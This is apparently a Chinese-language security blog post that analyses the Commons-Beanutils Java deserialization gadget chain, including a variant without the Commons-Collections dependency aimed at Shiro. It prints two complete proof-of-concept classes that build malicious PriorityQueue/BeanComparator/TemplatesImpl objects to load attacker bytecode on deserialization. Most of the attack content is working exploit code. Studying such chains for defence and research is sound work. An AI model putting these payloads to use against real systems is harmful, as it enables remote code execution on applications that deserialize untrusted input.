Java CB

版本:8u65

依赖:commons-beanutils 1.8.3;commons-logging 1.2

Commons-Beanutils 是 Apache Commons 项目下的一个常用 Java 库,它提供了一些实用的工具类来操作 Java Bean 的属性

<dependency>
    <groupId>commons-beanutils</groupId>
    <artifactId>commons-beanutils</artifactId>
    <version>1.8.3</version>
  </dependency>
  <dependency>
    <groupId>commons-logging</groupId>
    <artifactId>commons-logging</artifactId>
    <version>1.2</version>
  </dependency>

JavaBean

简单理解就是特殊的java类,使用java语言书写,遵循javabean api规范,然后有一下特征:

  • 提供默认无参构造函数
  • 需要被序列化并实现了serializable接口
  • 有一些私有属性
  • 有getter或setter方法

链子分析

准备恶意类,CC3的后半段

  TemplatesImpl templates = new TemplatesImpl();
      setFieldValue(templates, "_name", "a");
      byte[] code = Files.readAllBytes(Paths.get("F:\\java研究文件\\Question\\src\\main\\java\\org\\example\\asd.class"));
      byte[][] codes = {code};
      setFieldValue(templates, "_bytecodes", codes);
      setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

不多讲了,关键触发,利用

BeanComparator类的compare()方法

在其commons-beanutils的java库中,PropertyUtils类能够动态调用getter/setter方法,获取属性值

public int compare(Object o1, Object o2) {
      if (this.property == null) {
          return this.comparator.compare(o1, o2);
      } else {
          try {
              Object value1 = PropertyUtils.getProperty(o1, this.property);
              Object value2 = PropertyUtils.getProperty(o2, this.property);
              return this.comparator.compare(value1, value2);
          } catch (IllegalAccessException iae) {
              throw new RuntimeException("IllegalAccessException: " + iae.toString());
          } catch (InvocationTargetException ite) {
              throw new RuntimeException("InvocationTargetException: " + ite.toString());
          } catch (NoSuchMethodException nsme) {
              throw new RuntimeException("NoSuchMethodException: " + nsme.toString());
          }
      }
  }

关键调用此处,可以通过无参构造器去实例化一个BeanComparator对象去承载构造好的恶意对象,最终去调用到TemplatesImpl.getOutputProperties()方法,然后就链接到CC3了

如何触发compare()呢?

利用PriorityQueue#readObject()

private void readObject(java.io.ObjectInputStream s)
      throws java.io.IOException, ClassNotFoundException {
      // Read in size, and any hidden stuff
      s.defaultReadObject();

      // Read in (and discard) array length
      s.readInt();

      queue = new Object[size];

      // Read in all elements.
      for (int i = 0; i < size; i++)
          queue[i] = s.readObject();

      // Elements are guaranteed to be in "proper order", but the
      // spec has never explained what that might be.
      heapify();
  }

其中会走到heapify()方法

private void heapify() {
      for (int i = (size >>> 1) - 1; i >= 0; i--)
          siftDown(i, (E) queue[i]);
  }

这里要求是size的值大于等于2才可能触发到后续的,具体代码可自己详细动调看一下

在CC2和CC4中也是类似利用,利用add()函数去赋值,但是如果提前将恶意对象添加,会导致链子走不通

具体可以看到当add()使用两次后,size变为2时,进入到sifUp()

实际上,利用add()进行赋值,初始化对象时正常利用对象,并且property为空,为了确保链子能顺利运行到我们想要的位置,随后反射修改即可

最终就是通过BeanComparator.compare()的参数作为恶意对象进行加载,最后反序列化执行

PriorityQueue.readObject()
-> BeanComparator.compare()
  -> PropertyUtils.getProperty()
->TemplatesImpl#getOutputProperties()
->TemplatesImpl#newTransformer()
      ->TemplatesImpl#getTransletInstance()
          ->TemplatesImpl#defineTransletClasses()
              ->TransletClassLoader#defineClass()

最终POC如下

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class POC_CB {
  public static void main(String[] args) throws Exception {
   
      TemplatesImpl templates = new TemplatesImpl();
      setFieldValue(templates, "_name", "sunsun");
      byte[] code = Files.readAllBytes(Paths.get("F:\\java研究文件\\Question\\src\\main\\java\\org\\example\\asd.class"));
      byte[][] codes = {code};
      setFieldValue(templates, "_bytecodes", codes);
      setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

   
      BeanComparator comparator = new BeanComparator();
      PriorityQueue queue = new PriorityQueue<Object>(2, comparator);
      queue.add(1);
      queue.add(2);
      setFieldValue(comparator, "property", "outputProperties");
      setFieldValue(queue,"queue",new Object[]{templates,templates});

      serialize(queue);
      unserialize("CBchains.txt");
  }
  public static void setFieldValue(Object object, String field_name, Object field_value) throws Exception {
      Class c = object.getClass();
      Field field = c.getDeclaredField(field_name);
      field.setAccessible(true);
      field.set(object, field_value);
  }

  public static void serialize(Object object) throws IOException {
      ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("CBchains.txt"));
      oos.writeObject(object);
      oos.close();
  }
   
  public static void unserialize(String filename) throws IOException, ClassNotFoundException{
      ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
      ois.readObject();
  }
}

无CC依赖的Shiro反序列化利用链

还有一条不用CC依赖的链子

关注到类org.apache.commons.collections.comparators.ComparableComparator

可以看到在没有显示传入Comparator参数的情况下,使用了ComparanleComparator

但由于BeanComparator的默认行为,就会导致利用链输入不可控,所以我们需要找类来进行替换,需要满足以下条件:

  • 实现 java.util.Comparator接口
  • 实现java.io.Serializable接口
  • Java、shiro或commons-beanutils自带
  public static final Comparator<String> CASE_INSENSITIVE_ORDER
                                        = new CaseInsensitiveComparator();
  private static class CaseInsensitiveComparator
          implements Comparator<String>, java.io.Serializable {
      // use serialVersionUID from JDK 1.2.2 for interoperability
      private static final long serialVersionUID = 8575799808933029326L;

      public int compare(String s1, String s2) {
          int n1 = s1.length();
          int n2 = s2.length();
          int min = Math.min(n1, n2);
          for (int i = 0; i < min; i++) {
              char c1 = s1.charAt(i);
              char c2 = s2.charAt(i);
              if (c1 != c2) {
                  c1 = Character.toUpperCase(c1);
                  c2 = Character.toUpperCase(c2);
                  if (c1 != c2) {
                      c1 = Character.toLowerCase(c1);
                      c2 = Character.toLowerCase(c2);
                      if (c1 != c2) {
                          // No overflow because of numeric promotion
                          return c1 - c2;
                      }
                  }
              }
          }
          return n1 - n2;
      }

看到aseInsensitiveComparator类是java.lang.String类下的一个内部私有类,其实现了 ComparatorSerializable

通过String.CASE_INSENSITIVE_ORDER就可以得到CaseInsensitiveComparator对象,用它来实例化 BeanComparator

CASE_INSENSITIVE_ORDER 本质也是一个 Comparator

在调式原POC时可以看到

可以看到就算没有设置comparator参数,最后还是会进行参数传递,调用至构造方法,然后会实例化ComparableComparator比较器

作为comparator参数走到链子当中

所以我们构造POC

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class POC_withoutcc {
public static void main(String args[]) throws Exception {
TemplatesImpl templatesImpl = new TemplatesImpl();
setValue(templatesImpl, "_name", "sunsun");
byte[] code = Files.readAllBytes(Paths.get("F:\\java研究文件\\Question\\src\\main\\java\\org\\example\\asd.class"));
byte[][] codes = {code};
setValue(templatesImpl, "_bytecodes", codes);
setValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());

BeanComparator comparator = new BeanComparator();
PriorityQueue queue = new PriorityQueue(2,comparator);
queue.add(1);
queue.add(2);
setValue(comparator, "property", "outputProperties");
setValue(queue, "queue",new Object[]{templatesImpl,templatesImpl});
setValue(comparator, "comparator", String.CASE_INSENSITIVE_ORDER);

serialize(queue);
unserialize("CBchains.txt");

}
public static void setValue(Object object, String field_name, Object field_value) throws Exception {
Class c = object.getClass();
Field field = c.getDeclaredField(field_name);
field.setAccessible(true);
field.set(object, field_value);
}
public static void serialize(Object object) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("CBchains.txt"));
oos.writeObject(object);
oos.close();
}

public static void unserialize(String filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
ois.readObject();
}
}
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇